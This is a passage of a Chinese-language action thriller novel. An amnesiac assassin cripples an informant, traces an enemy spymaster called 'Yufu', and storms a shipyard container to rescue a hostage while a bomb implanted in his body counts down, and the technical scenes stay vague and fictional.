“不……不知道!真不知道!求求你……放过我……”马仔强涕泪横流,裤裆处湿了一片,腥臊味弥漫开来。
废物。
我知道,从他嘴里已经榨不出更多有用的价值了。
我移开踩着他手腕的脚。
他像是抓住了救命稻草,挣扎着想要磕头。
然后,我调转枪口,对着他的两个膝盖,毫不犹豫地扣动了**。
“砰!砰!”
两声沉闷的枪响。
马仔强如同被抽掉骨头的癞皮狗,瘫软在地,连惨叫都发不出来,只能发出嗬嗬的倒气声,眼神里充满了绝望和恐惧。
我没有杀他。死亡对他来说,太便宜了。
废掉他的行动能力,让他成为一个活生生的警告,被“勋”的人发现,或者被警察带走。无论哪种结局,都足以让“勋”知道触碰我的底线,是需要付出代价的。
我收起枪,最后看了一眼像烂泥一样瘫在地上的马仔强,转身离开。
第一个警告,已经送达。
“勋”,还有那个藏在深处的“渔夫”。
游戏,才刚刚开始。
而下一个,会是谁?
第十二章 渔夫之饵
冰冷的夜风裹挟着马仔强身上散发的血腥与失禁的恶臭,被我远远甩在身后。我没有立刻返回旅馆,而是像一头受伤后更显危险的孤狼,在城市错综复杂的脉络间穿行、绕圈,利用一切反追踪的本能,确认甩掉了所有可能的尾巴。
回到那间狭小冰冷的旅馆房间,锁上门,拉紧窗帘。我将从安全屋顺来的设备和自己的装备一股脑倒在床上。
首要任务,是处理那个追踪设备。屏幕上,代表周玲的红色光点已经停止了移动,停留在城市另一头一个陌生的区域。她们暂时安全了。但这个东西就像悬顶之剑,必须解决。
马仔强说需要毁掉主机。主机应该还在那个安全屋。但此刻回去风险太大,很可能已经惊动了“勋”。
我拿起那个类似我体内**监控器的设备,仔细端详。比我的更复杂,有几个额外的接口和按钮。我尝试着按下几个组合键,屏幕闪烁,跳出一个密码输入界面。
不行,暴力破解可能触发警报甚至自毁。
我的目光落在顺来的那几部老式手机上。拿起一部开机。里面很干净,通讯录空空如也,短信和通话记录都被清除了。但以组织的技术力,或者依靠我脑海中那些模糊的本能,或许能从中恢复出一些数据。
就在我准备尝试时,那台黑色手机率先震动了起来。
是阿杰。
我盯着闪烁的屏幕,数秒之后,才按下接听键,但没有说话。
“韩先生,”阿杰的声音传来,语速比平时稍快,“你刚才的‘清扫’行动,动静不小啊。”
消息传得真快。看来组织对“勋”的监控,比我想象的更严密。
“一份小小的回礼。”我冷淡回应,“他们先越界了。”
“理解。”阿杰出乎意料地没有指责,“‘勋’的行事风格向来如此,不择手段。这也证明了你的价值,韩先生。组织欣赏能果断处理威胁的人。”
欣赏?我心底冷笑。不过是利用价值更大而已。
“马仔强提到了‘渔夫’。”我直接切入主题,“我要他的信息。”
电话那头沉默了一下。“‘渔夫’是‘勋’在本市行动的主要负责人之一,很狡猾,行踪不定。我们掌握的信息也不多。”
“那就把不多的那部分给我。”
“……稍后会发送到卫星电话。但是韩先生,我必须提醒你,‘渔夫’不是马仔强那种外围角色。动他,会引来‘勋’最激烈的报复。你的主要任务,仍然是林振涛。”阿杰的语气带着警告。
“林振涛?”我嗤笑,“‘勋’搞了这么一出,他现在是生是死都成问题,身边必然加强了防卫。任务难度已经不同了。”
“这正是对你的考验,韩先生。”阿杰的声音恢复了一贯的平静,“如何在混乱中达成目标,是顶尖执行力的体现。时间,还剩五十八小时。”
又是考验。我挂断电话,胸腔里堵着一股郁气。组织在利用“勋”给我施加压力,逼我展现出“寒霜”的全部价值。而我,明知是火坑,却不得不跳。
卫星电话很快收到了关于“渔夫”的加密文件。
信息确实寥寥无几。没有真实姓名,没有清晰照片,只有几张极其模糊的远景或背影抓拍,显示这是一个身材中等、无明显特征的男性。惯用左手,擅长电子监控和陷阱布置。疑似与几起至今未破的、手法精巧的“意外死亡”案有关。
文件最后,提供了一个可能是“渔夫”最近使用过的加密通讯频道频率,但备注信号源不稳定,且可能设有反追踪陷阱。
一个诱饵,也是一个考验。
我盯着那个频率代码,手指无意识地摩挲着耳垂。去找“渔夫”,风险极大,可能直接落入陷阱,也可能彻底激怒“勋”,让周玲陷入更危险的境地。但不去,就只能被动挨打,等着“勋”下一次不知何时、以何种方式发动的袭击。
主动出击,是唯一的选择。
我拿出从安全屋顺来的专业监听设备,连接上卫星电话,开始尝试锁定和破解那个加密频道。脑海中那些关于信号追踪、频率分析的知识碎片,如同被无形之手拼接,手指在设备按键上快速操作,速度快得我自己都有些惊讶。
十分钟后,监听设备的屏幕上,出现了微弱的信号波动。捕捉到了!但信号极其不稳定,时断时续,而且有明显的干扰源。
对方很谨慎。
我屏住呼吸,调整着参数,试图稳定信号并尝试进行反向定位。这是一个极其精细
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且危险的过程。
突然,监听耳机里传来一阵极其细微的、**扰扭曲的电流声,紧接着,一个经过处理的、冰冷的电子音断断续续地响起:
“……信号……丢失……‘寒霜’……脱离预测……”
我的心惊了一下,他们居然在讨论我!
我立刻加大信号捕捉功率,试图听清更多。
“……‘鱼饵’……需要……调整……‘清洁工’……准备……”
鱼饵?清洁工?
一股寒意顺着脊椎爬升。他们似乎在策划新的行动!
就在这时,监听设备的警报灯突然疯狂闪烁起来!屏幕上的信号源坐标开始高速乱跳!
被发现了!对方设置了高级的反追踪陷阱!
我当机立断,猛地扯掉了所有连接线,关闭了监听设备和卫星电话。
几乎在设备关闭的同一瞬间,窗外远处,似乎传来了一声极其轻微的、类似电子元件短路的“噼啪”声,非常遥远,但在我高度集中的听觉下,却清晰可辨。
我猛地冲到窗边,撩开窗帘一角,锐利的目光扫向声音传来的方向:那是隔了几条街的一栋商业大楼楼顶。
空无一人。只有城市的霓虹在无声闪烁。
但我知道,刚才那里一定有什么。一个监控点?一个信号中转站?
“渔夫”……他就在那里。或者,他刚才就在那里。
他知道我可能在追踪他。
好险!好狡猾的对手!
我靠在冰冷的墙壁上,后背惊出一层冷汗。与“勋”的较量,远不是对付马仔强那种打手那么简单。
“渔夫”提到了“鱼饵”和“清洁工”。
“鱼饵”会是什么?周玲?还是……林振涛?
而“清洁工”,他们要清理什么?马仔强?还是……我?
局势愈发扑朔迷离,危险如同不断收紧的绞索。
我必须更快,更狠。在“渔夫”布下更大的网之前,在他动用“清洁工”之前,找到他,解决他。
否则,我和周玲,都将被这张无形的网,彻底吞噬。
夜色正浓。
猎杀与反猎杀的游戏,进入了更凶险的阶段。
而我已经嗅到了,“渔夫”抛出的下一个鱼饵,那血腥而危险的气息。
第十三章 死亡倒计时
旅馆房间的空气仿佛凝固了,带着电子设备散热孔的焦糊味和我自己身上未散的硝烟与血腥气。窗外城市的嗡鸣变得遥远而不真实,只有“渔夫”那经过处理的冰冷电子音,还在我脑中回响。
“鱼饵”……“清洁工”……
不能再被动等待。我必须主动出击,打乱他们的节奏。
我的目光落在那台显示着周玲位置的追踪设备上。红色光点依旧停留在那个陌生的区域,暂时稳定。但这稳定能持续多久?马仔强被废,“渔夫”一定已经知晓,他绝不会善罢甘休。
下一个“鱼饵”,会以何种形式出现?
我拿起那台黑色手机,犹豫了一下,没有打给阿杰。频繁的求助只会让组织看低,也更容易暴露我的困境。我必须依靠自己,至少是现在。
我的视线转向床上那几部从安全屋顺来的老式手机。这些是“勋”外围成员使用的通讯工具,或许能从中找到一些线索。
我拿起其中一部,卸下后盖,拔出电池,仔细观察着主板和内部结构。一些模糊的记忆碎片开始浮现:关于如何绕过简单的锁屏,如何从看似清空的设备里恢复残留数据。
我找出随身携带的简易工具包,里面有几条特殊的数据线和一套微型的物理接口探针。这似乎是“寒霜”标准装备的一部分。凭着本能,我将手机连接上卫星电话,手指在微型键盘上快速敲击,输入一连串晦涩的指令。
屏幕闪烁,跳出一个简陋的DOS界面,代码如同瀑布般滚动。
几分钟后,一部分被删除的通话记录和短信缓存被成功恢复。大多是些无关紧要的垃圾信息和几个标记为“送货”、“维修”的短号码。但在其中一部手机里,我找到了一条被永久删除后又被系统临时文件记录残留的信息碎片:
【17:23发送至未知号码】…货已备齐,老码头,7号仓,明晚11点…“清洁工”验收…
老码头,7号仓!明晚11点!“清洁工”验收!
找到了!“渔夫”提到的“清洁工”!
这条信息发送时间是在昨天,那么“明晚”指的就是:今晚11点!
他们有一批“货”要在老码头7号仓交接,而且是由“清洁工”亲自验收!这“货”会是什么?武器?情报?还是……人?
无论是什么,这都是一个机会!一个直面“清洁工”,顺藤摸瓜找到“渔夫”的机会!
但这也极有可能是一个陷阱。“渔夫”刚刚才用加密频道引诱过我,他完全可能预判到我会尝试恢复这些手机的数据,从而留下这条精心伪造的信息。
去,还是不去?
我看着卫星电话屏幕上,那个代表体内**的绿色光点。它依旧在跳动,但似乎……比之前更快了一丝?还是我的心理作用?
时间,还剩五十五小时。林振涛那边毫无进展,组织不会给我更多宽容。而“勋”的威胁迫在眉睫。
我没有选择。
必须去。哪怕只有万分之一的可能是真的,也值得冒险。我需要信息,需要突破口,需要在被体内的**和组织、敌人的双重压力碾碎之前,杀出一条血路!
我迅速检查装备。枪,**,备用弹匣,卫星电话,**监控设备……还有那几部老式手机。
就在我准备离开房间时,那台旧手机,周玲给我配的那台,突然尖锐地响了起来,打破了房间内死寂的气氛。
屏幕上跳动的,是一个陌生的本地号码。
我的动作瞬间僵住。一种极其不祥的预感如同冰水浇头。
会是谁?周玲用了新号码?还是……“勋”?
我深吸一口气,按下了接听键,但没有说话。
电话那头,传来一个熟悉又令人厌恶的女声,带着紧张:
“哟,韩冰是吧?还记得我吗?冷艳。”
是她?周玲那个处处作对的同事?她怎么会知道这个号码?又怎么会在这个时候打来?
我的声音瞬间降至冰点:“什么事?”
“周玲在我这里。”冷艳的语气带着一种令人不安的得意,“她说遇到点麻烦,不敢回自己家,跑来求我收留她。啧啧,真是可怜。”
周玲在她那里?!我的心猛地沉了下去!周玲怎么会去找冷艳?她们关系并不好!而且我明明嘱咐她去找信得过的朋友小杨!
不对!这不对劲!
“让她接电话。”我强压着怒火和疑虑,冷声道。
“她啊?现在不太方便呢。”冷艳轻笑一声,“刚吃了点**,睡着了。你也知道,她受了惊吓,需要好好休息。”
**?!我的拳头骤然握紧。
“冷艳,”我的声音里带着毫不掩饰的杀意,“我不管你想玩什么把戏。如果周玲少了一根头发,我保证,你会后悔来到这个世界上。”
“哎哟,好吓人啊。”冷艳夸张地叫了一声,随即语气陡然转变,带着一丝诡异的阴冷,“韩冰,或者……我该叫你别的什么?你以为你藏得很好吗?你那些见不得光的事情,真以为没人知道?”
她知道了什么?她是谁?!
“你想怎么样?”我一字一顿地问。
“不想怎么样。”冷艳的声音恢复了那种令人作呕的娇媚,“只是想跟你做个交易。今晚十点,城东‘蓝港湾’废弃修船厂,你一个人来。带上你从马仔强那里拿走的所有东西。交换周玲。”
蓝港湾修船厂!不是老码头!时间也比“清洁工”的交易提前一小时!
这是巧合?还是……“渔夫”的另一个“鱼饵”?冷艳竟然是“勋”的人?!她一直潜伏在周玲身边?!
巨大的震惊和愤怒几乎冲垮我的理智。周玲竟然落入了他们手中!
“我要听到她的声音。”我咬着牙,保持最后一丝冷静。
“没问题。”
电话那头传来一阵窸窣声,然
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后,周玲虚弱而恐惧的声音传来,带着哭腔:“韩冰……别来……他们有好多人……啊!”
一声短促的惊叫后,电话似乎被捂住了,然后冷艳的声音再次响起:“听到了?她很好。记住,今晚十点,一个人。如果让我发现你耍花样,或者通知了任何人……”她顿了顿,“……我就把她切成一块一块,喂狗。”
电话被猛地挂断。
我握着手机,站在原地,浑身冰冷,血液却如同岩浆般在血管里奔涌咆哮!
冷艳!“渔夫”!
他们竟然用周玲来做“鱼饵”!他们触碰了我最不能触碰的逆鳞!
体内的杀戮本能如同挣脱枷锁的猛兽,疯狂地嘶吼,几乎要淹没我的理智。
老码头7号仓,“清洁工”,今晚11点。
哪一个是真的?还是……都是陷阱?
“渔夫”算准了我会恢复手机数据,也算准了周玲是我唯一的弱点。他给我出了两道选择题,无论我选哪一边,都可能万劫不复。
如果我去修船厂救周玲,可能会错过与“清洁工”的接触,失去找到“渔夫”的机会,甚至可能直接落入重围。
如果我去老码头堵“清洁工”,周玲就可能……
我不敢想下去。
巨大的压力像一座山,轰然压在我的肩上。时间分秒流逝,每一个决定都关乎生死。
我猛地抬手,狠狠一拳砸在旁边的墙壁上!
“咚!”一声闷响。
疼痛让我混乱的大脑稍微清醒了一丝。
不能乱!绝对不能乱!
“渔夫”想要我乱,想要我失去方寸,想要我按照他设定的剧本走。
我偏不!
我深吸一口气,强迫自己冷静下来。
既然你们想玩,那我就陪你们玩个大的!
我拿出卫星电话,再次接通阿杰的频道。这一次,我的声音异常平静,平静得可怕。
“……说。”阿杰似乎察觉到了我语气中的不同。
“放出消息,就说我得到了‘勋’在老码头7号仓交易的确切情报,会在今晚11点动手。”
电话那头沉默了片刻。“理由?”
“引蛇出洞,混淆视听。”我冷冷道,“顺便,帮你测试一下组织内部,有没有‘勋’的耳朵。”
阿杰再次沉默,似乎在权衡这个计划的可行性和风险。几秒后,他回答:“可以。消息一小时内会通过特定渠道放出。但后果自负,韩先生。”
“我知道。”
挂断电话,我看着窗外逐渐暗淡的天色,眼神如同淬火的寒冰。
“渔夫”,你想用周玲牵制我,用“清洁工”诱惑我?
好。
那我就把你的水搅浑,把你的视线引开。
今晚十点,蓝港湾修船厂,我会去。
但去的,不会只有我一个人。
也不会是你们想象中的那个,方寸大乱的韩冰。
狩猎,逆转开始。
第十四章 修船厂的陷阱
晚上九点四十分。城东,蓝港湾。
废弃的修船厂像一头搁浅死亡的钢铁巨兽,匍匐在漆黑的海岸边。
我潜伏在一堆生锈的船用齿轮后面,身体与浓重的阴影融为一体。
卫星电话和那个追踪设备被我留在了旅馆。我只带了武器,**,和一部从安全屋顺来的、拆掉电池和SIM卡的老式手机
时间一分一秒过去。感官提升到极致,捕捉着风中传来的每一丝异响,视线扫过每一个可能藏匿敌人的角落。
没有动静。除了风声和海浪拍打礁石的单调声响,整个修船厂死寂得令人窒息。
**静了。安静得不正常。
九点五十五分。依旧没有任何人出现的迹象。冷艳呢?周玲呢?
难道这真的只是一个调虎离山的幌子?为了把我牵制在这里,方便“清洁工”在老码头顺利交易?
不。以“渔夫”的狡猾,他不会用这么简单粗糙的计策。他一定在这里布置了什么。
我的目光锐利如鹰隼,再次仔细扫视。龙门吊的控制室?破损的船舱?堆积如山的废弃轮胎后面?
突然,我的视线定格在远处那个最大的干船坞边缘,一个半埋在废弃物里的、锈迹斑斑的集装箱上。集装箱的门,似乎虚掩着一条缝隙。
那里刚才……是不是有反光一闪而过?像镜片或者瞄准镜的反光?
心跳微微加速。我调整呼吸,悄无声息地向那个集装箱靠近。
距离逐渐拉近。五十米,三十米……
我能更清晰地看到那个集装箱了。门缝里,透出极其微弱的光线,似乎是手机屏幕的光芒。
里面有人!
我屏住呼吸,贴在了一个巨大的废弃螺旋桨后面,从这个角度,可以斜着看到集装箱内部的一角。
里面确实有人影晃动。不止一个。
然后,我听到了压低的对话声,顺着风隐约传来。
“……那家伙会来吗?这鬼地方……”
“闭嘴!‘渔夫’说了,他一定会来……看好那女的……”
“……妈的,冷姐也真是,非要亲自……”
冷姐?冷艳!她在这里!周玲也在!
确认了这一点,我心中稍定,但警惕性提到了最高。“渔夫”算准我会来,这里必然是龙潭虎穴。
我仔细观察着集装箱周围的環境。开阔地,几乎没有遮蔽物。
必须想办法把他们引出来,或者制造混乱。
我的目光落在了不远处一根孤零零立着的、锈蚀严重的金属旗杆上,上面还挂着几缕破烂的布条。旗杆旁边,散落着几个空油桶。
一个计划瞬间在脑中形成。
我悄然后退,绕了一个大圈,来到旗杆的另一侧,与集装箱形成对角。
然后,我捡起几块大小合适的碎石。
深吸一口气,运足臂力,将第一块石头猛地掷向那几个空油桶!
“哐当——!”
清脆响亮的金属撞击声在死寂的修船厂里骤然炸响,远远传开!
同时,集装箱的门被猛地推开一条更大的缝隙,两个**的黑影警惕地探出头来。
“什么声音?!”
“去看看!”
在他们注意力被油桶方向吸引的瞬间,我早已准备好的第二块、第三块石头,如同出膛的炮弹,带着尖锐的破空声,精准地射向那根锈蚀的旗杆与底座连接的最脆弱处!
“啪!咔嚓!”
连续的撞击和令人牙酸的金属断裂声响起!那根数米高的旗杆,发出一阵**,猛地从中断裂,带着万钧之势,朝着集装箱门口的方向轰然倒塌!
“小心!快躲开!”
集装箱门口那两个黑影惊恐地大叫,狼狈不堪地向后翻滚躲避。
“轰隆——!”
断裂的旗杆狠狠砸在集装箱门上,发出震耳欲聋的巨响,溅起漫天锈尘,直接将那扇门砸得扭曲变形,几乎封死!
我如同猎豹般从藏身处蹿出,没有直线冲向集装箱,而是利用旗杆倒塌扬起的锈尘作为掩护,扑向集装箱的侧面!
“他在那边!开枪!”
集装箱里传来一声惊怒的吼叫,随即爆豆般的**响起!**“啾啾”地打在我刚才冲出的路径上,溅起一溜火星和尘土。
但我已经不在那里了!
我紧贴着集装箱冰冷的铁皮墙壁,呼吸平稳。
我听到了冷艳气急败坏的声音从里面传来,似乎是通过对讲机:“……他来了!在外面!火力压制!别让他靠近!”
还有周玲压抑的、充满恐惧的啜泣声。
我的心像是被针扎了一下。她还活着,就在里面。
不能强攻。里面空间狭窄,人质在手,强攻只会让周玲陷入更大的危险。
我需要一个突破口。
我的目光落在了集装箱顶部的通风口。那里或许可以……
就在这时,
“嗡!”
一阵低沉而强大的引擎轰鸣声,从修船厂的入口方向传来!两道刺目的车灯如同利剑,撕裂黑暗,笔直地朝着集装箱所在的方向照射过来!
不是一辆,是至少两辆,听声音是马力强劲的越野车!
谁?!“渔夫
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”的援兵?还是……组织的人?或者是警察?
集装箱里的**也骤然停止,显然他们也听到了这突如其来的动静。
车灯越来越近,引擎的咆哮在空旷的厂区内回荡,带着一种不容置疑的压迫感。
灯光最终定格,将扭曲的集装箱和倒塌的旗杆照得一片雪亮。
车门打开,几个穿着黑色作战服、手持自动武器的身影敏捷地跳下车,迅速散开,占据有利射击位置,动作专业而迅速,绝非“勋”那些外围打手可比。
他们是谁?!
我紧紧贴在集装箱的阴影里,心脏狂跳。局势彻底失控了!
然后,我看到一个穿着灰色风衣、身形熟悉的身影,从其中一辆车的副驾驶座上缓缓走了下来。
阿杰?!
他怎么会在这里?!我明明没有通知他!
阿杰站在雪亮的车灯前,目光平静地扫过一片狼藉的现场,最后,落在了我藏身的阴影方向,拿起一个扩音器,清冷的声音在修船厂内回荡:
“‘寒霜’,游戏该结束了。出来吧,‘渔夫’先生,或者……我该叫你,冷艳小姐?”
什么?!
我的大脑如同被重锤击中,一片空白!
阿杰说什么?“渔夫”……是冷艳?!那个处处刁难周玲的酒店服务员?!
这怎么可能?!
集装箱里,陷入了一片死寂。连周玲的啜泣声都停止了。
几秒钟后,集装箱那被砸变形的门,发出“嘎吱”一声刺耳的摩擦声,被人从里面艰难地推开了一些。
冷艳的身影,出现在门口的光影下。
她的脸上,是一种冰冷、沉稳,甚至带着一丝嘲弄的笑容。她的手里,没有拿枪,而是拿着一个……类似平板电脑的电子设备。
她的目光,越过阿杰,越过那些黑衣武装人员,精准地落在了我藏身的方向,声音清晰地传来,带着电子设备处理过的、与“渔夫”一般无二的冰冷质感:
“呵呵……阿杰,你来得可真快。还有,‘寒霜’……或者说,韩冰。这场戏,好看吗?”
她抬起手中的平板,屏幕正对着我的方向。
屏幕上,清晰地显示着一个正在倒计时的红色数字,旁边,是一个剧烈闪烁、几乎要变成红色的绿色光点,代表我体内那颗**的信号!
倒计时显示——50:00:00。
五十小时!
“我亲爱的‘寒霜’,”冷艳,不,“渔夫”的声音带着猫捉老鼠般的戏谑,“欢迎来到,为你精心准备的……最终舞台。”
第十五章 三方对峙
时间仿佛在那一刻凝固了。
废弃的修船厂,刺目的车灯,倒塌的旗杆,扭曲的集装箱,还有……**对峙的三方。
我,紧贴着冰冷的集装箱铁皮,隐藏在阴影里,像一头被逼到绝境的困兽。大脑在最初的震惊过后,以“寒霜”特有的冰冷速度疯狂运转,试图解析这荒谬而致命的局面。
冷艳就是“渔夫”。
竟然是“勋”组织在本市的核心负责人之一,那个躲在暗处、精心布局、将我**于股掌之间的“渔夫”!
而阿杰……他带着组织的武装力量,如同神兵天降,出现在这里。他精准地叫破了“渔夫”的身份。他放任这一切发生,甚至可能推波助澜,就是为了眼前这个将“勋”的重要头目和我这个失忆的顶级**一同逼入绝境的局面?
螳螂捕蝉,黄雀在后。而我,既是螳螂,也是蝉。
“呵呵呵……”冷艳的笑声在扩音器放大下,带着电子杂音,在空旷的厂区回荡,刺耳又诡异。“阿杰,你们‘清道夫’的消息,还是这么灵通。看来我身边,也不干净啊。”
清道夫?这是组织的代号?
阿杰站在车灯光晕中,灰色的风衣下摆被海风吹动,面容平静无波:“‘渔夫’,你的游戏该结束了。放了那个女孩,交出‘寒霜’体内**的控制器,或许还能留个全尸。”
“全尸?”冷艳嗤笑一声,晃了晃手中的平板,那上面代表我生命的倒计时和闪烁的绿点,像恶魔的眼睛,“阿杰,你还是这么喜欢开玩笑。控制器就在这里,有本事,你来拿啊?”
她话音未落,集装箱里剩下的两个**立刻抬起了枪口,紧张地对准阿杰和他带来的黑衣武装小队。阿杰带来的小队成员也瞬间举枪,双方剑拔**张,气氛紧绷到了极点。
而我,被夹在中间,成了这场对峙中最不稳定的因素,也是双方都想掌控的关键。
我的大脑在飞速转动。阿杰的目标是抓捕或击毙“渔夫”。冷艳的目标是利用周玲和我体内的**脱身,或者同归于尽。我的目标,只有一个:救出周玲,活下去!
阿杰似乎并不急于动手,他的目光再次扫向我藏身的阴影,声音通过扩音器传来,带着一种奇异的穿透力:“‘寒霜’,或者说,韩冰。你现在看清局势了吗?‘勋’从未把你当成合作伙伴,你只是他们用来搅浑水、测试组织反应的棋子,用完了,随时可以丢弃,甚至引爆。而组织,至少还能给你一个完成任务、将功折罪的机会。”
他在试图分化,拉拢。他在提醒我,冷艳不可信,我体内的**就是证明。
“闭嘴,阿杰!”冷艳厉声打断他,她显然不想让我被说动,“韩冰!别听他的!‘清道夫’才是真正**不吐骨头的!你忘了你是怎么失忆的吗?忘了是谁在你脑子里塞进那些乱七八糟的指令,把你变成只知道杀戮的机器‘寒霜’的吗?!”
我的失忆……和组织有关?是组织造成的?!
巨大的信息量如同海啸冲击着我的认知。阿杰说过组织可以帮我恢复记忆,却从未提过失忆的原因!冷艳的话是真是假?是为了离间,还是揭露了部分真相?
我感觉自己像漂浮在惊涛骇浪中的一叶扁舟,周围全是迷雾和暗礁。
“荒谬。”阿杰的声音依旧平静,但语速稍微快了一丝,似乎在阻止冷艳继续说下去,“‘渔夫’,垂死挣扎的谎言毫无意义。‘寒霜’,做出你的选择。是继续被‘勋’操控,看着你在乎的人因你而死,然后自己被炸成碎片?还是协助组织清除叛徒,换取一线生机?”
选择?我有的选吗?
无论选择哪一边,我都可能万劫不复。周玲还在他们手里!
我的目光死死盯住冷艳手中的平板,那上面的倒计时:49:58:12。
时间在一分一秒流逝。
必须打破这个僵局!
我的手指,无声地摸向了耳垂。粗糙的触感传来,混乱的思绪似乎被强行压制,一个极其冒险的计划在脑中成型。
我缓缓地从阴影中走了出来,高举着双手,表示自己没有攻击的意图。
瞬间,所有的目光都聚焦在了我的身上。
“韩冰!”集装箱里传来周玲带着哭腔的惊呼,充满了担忧。
我看向她声音传来的方向,给了她一个极其短暂、安抚的眼神。
然后,我转向阿杰和冷艳,声音沙哑而疲惫,带着一种仿佛被逼到绝境后的妥协与混乱:
“我……我受够了!”我嘶吼道,表情痛苦,“你们都说能帮我,都说能给我活路!可我什么都记不起来!我只知道我现在脑子里一团糟,身体里还**有颗**!”
我猛地指向冷艳手中的平板:“把那玩意儿给我!把控制器给我!否则我现在就引爆它,大家**一起玩完!”我状若疯狂,另一只手甚至作势要掏向怀里,仿佛要拿出什么****。
这是我唯一能想到的办法,假装崩溃,假装要同归于尽。
果然,我这突如其来的“疯狂”举动,让对峙的双方都出现了瞬间的骚动!
“你干什么?!别乱来!”冷艳脸色微变,下意识地将平板往身后藏了藏,她身边的**也明显紧张起来,枪口微微晃动。
阿杰的眉头也蹙了一下,他带来的武装小队手指扣紧了**。
就是现在!
在他们注意力被我的“疯狂表演”吸引的刹那,我的身体动了!
不是冲向冷艳,也不是冲向阿杰,而是如同鬼魅般,猛地扑向旁边那堆我之前藏身的、布满锈蚀齿轮和金属废料的杂物堆!
“砰!砰!砰!”
**几乎在我动身的同一瞬间响起!**追着我的身影,
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打在金属废料上,溅起一连串刺目的火星和尖锐的撞击声!
但我更快!
在扑入杂物堆的瞬间,我的脚精准地勾起地上半截断裂的、带着尖锐断口的角钢,用尽全身力气,如同投掷标枪般,将它狠狠掷向集装箱顶部那个锈蚀的通风口!
“哐——噗嗤!”
角钢带着巨大的动能,精准地**了通风口的缝隙,发出金属撕裂的刺耳声响!
“啊——!”
集装箱里传来一声压抑的痛呼!以及周玲短促的尖叫!
打中了!里面守着通风口的人!
混乱!制造更多的混乱!
“他进去了!小心上面!”集装箱里有人惊恐地大喊。
而就在这**、喊叫声、金属撞击声混杂成一团的极致混乱中,我利用杂物堆的掩护,如同泥鳅般滑到集装箱的另一侧底部,那里有一个因为常年锈蚀和地面不平产生的、不起眼的缝隙!
我拔出腿上的**,运足力气,猛地**缝隙,用力一撬!
“嘎吱——!”
一块锈蚀脆弱的铁皮被我硬生生撬开,露出了一个仅容一人勉强钻入的破洞!
集装箱内部昏暗的光线和混杂的气味涌出。
没有犹豫!我如同离弦之箭,从这个刚刚开辟的、谁也没有预料到的入口,猛地钻了进去!
身体卷入集装箱内部昏暗空间。
一个**捂着被角钢碎片划伤流血的手臂靠在箱壁,另外两个正惊慌地抬头看着被角钢插穿的通风口,还有一个……正用枪指着蜷缩在角落、脸色惨白、嘴巴被胶带封住的周玲!
而冷艳,正站在集装箱中央,手里紧紧攥着那个平板,脸上第一次露出了超出掌控的惊怒!
“你……!”
她的话还没出口!
“砰!”
我的枪响了!**精准地擦着那个用枪指着周玲的**的手腕飞过,打在他身后的箱壁上,留下一个清晰的弹孔!
“啊!”那**惨叫一声,**脱手掉落。
“别动!都别动!”我的枪口迅速扫过另外两个反应过来的**,声音如同西伯利亚的寒风,带着不容置疑的杀意,“谁动,谁死!”
瞬间的控制!
我成功了!我突入了集装箱内部,暂时控制了局面,周玲就在我眼前!
“韩冰……”周玲看到我,被封住的嘴里发出呜呜的声音,眼泪汹涌而出,那是劫后余生的恐惧和看到希望的激动。
我对她微微点头,示意她别怕。目光却死死锁定在惊怒交加的冷艳身上。
“控制器。”我向她伸出手。
集装箱内外,一片死寂。
只有集装箱外,阿杰通过扩音器传来的、依旧平静,却带着一丝微妙变化的声音,打破了这短暂的凝固:
“很精彩的表演,‘寒霜’。那么现在,游戏进入下一轮。”
第十六章 短暂的喘息
集装箱内的时间,仿佛被胶水黏住,流动得异常缓慢。
血腥味、铁锈味、还有周玲身上淡淡的洗发水味道,混合成一种奇特而压抑的气息。最后定格在冷艳,或者说,“渔夫”那张因惊怒而微微扭曲的脸上。
她的指尖紧紧扣着那个平板,屏幕上49:45:18的红色倒计时。
集装箱外,阿杰的声音透过铁皮传来,带着一种隔岸观火的冷静:“‘寒霜’,给你三十秒。交出‘渔夫’和她手中的控制器,我可以保证你和那女孩的安全离开。”
保证?在这种局面下,他的保证如同风中残烛,毫无分量。我甚至不确定,他想要的究竟是控制器,还是“渔夫”,或者……是确保我和“渔夫”同归于尽。
“听到了吗?韩冰。”冷艳的声音带着嘲弄,“你的‘组织’,永远只在乎清除威胁和完成任务。你我,都只是可以牺牲的棋子。”
我没有理会她的挑拨,目光锐利如刀:“控制器。这是最后一遍。”
角落里的周玲发出细微的呜咽,被封住的嘴巴让她无法言语,但那双盈满泪水的眼睛里,充满了对我的依赖和深深的恐惧。我必须带她离开这里。
冷艳盯着我,又瞥了一眼屏幕上的倒计时,眼神闪烁。她知道,在我的枪口和外面阿杰的包围下,她已陷入绝境。硬抗下去,只有死路一条。
一丝诡异的笑容爬上她的嘴角。“好啊,给你。”
她出乎意料地将平板扔了过来。
但就在她手臂抬起的瞬间,她的拇指在平板侧面一个极其隐蔽的凹槽处,用力按了下去!
“滴”一声极其轻微、难以察觉的电子音响起。
平板屏幕上的绿色光点,闪烁的频率骤然加快!
“你做了什么?!”我厉声喝道。
“没什么,”冷艳将平板丢在我脚边,摊了摊手,笑容带着一种报复性的快意,“只是给这个小小的‘保险措施’,加了一点……动力。让它变得更敏感了一点。现在,任何稍微剧烈点的情绪波动,或者外部的强信号干扰,都可能让它……提前兑现承诺哦。”
这个疯女人!她临死还要拉上垫背的!
我强压下立刻扣动**的冲动。杀了她容易,但她刚才的操作意味着什么?让**变得更不稳定?我无法判断这是虚张声势还是事实。
弯腰捡起平板时,屏幕上的绿光疯狂闪烁,我尝试滑动屏幕,点击任何可能的选项,但界面被锁**,只有一个孤零零的倒计时和那个疯狂闪烁的光点。
“没用的。”冷艳看着我徒劳的操作,语气带着怜悯,“最高权限指令,一旦激活,无法逆转。除非……”
她故意停顿,吊人胃口。
“除非什么?”
“除非你能在倒计时结束前,找到‘勋’在本市的‘巢穴’,拿到主控终端。”她看着我,眼神像淬了毒的针,“那里有唯一的解除程序。当然,前提是……你能活着找到那里。”
巢穴?主控终端?
这又是一个新的信息,一个新的,看似不可能的挑战。这很可能依旧是她的圈套,但我似乎没有别的路可走。
“位置。”我逼问。
冷艳却摇了摇头,笑容诡秘:“这就不是我能告诉你的了。需要你自己去‘回忆’,韩冰。或者……去问你的老朋友们。”
她意有所指地瞟了一眼集装箱外。
阿杰的三十秒时限,眼看就要到了。
不能再拖延了!
我不再理会冷艳,快步走到周玲身边,用**小心翼翼地割开她手腕和脚踝上的束缚,然后轻轻撕下她嘴上的胶带。
“嘶……”胶带离开皮肤带来轻微的痛感,周玲凉气扑进我怀里,身体剧烈地颤抖着,泣不成声:“韩冰……我好怕……我以为……我以为再也见不到你了……”
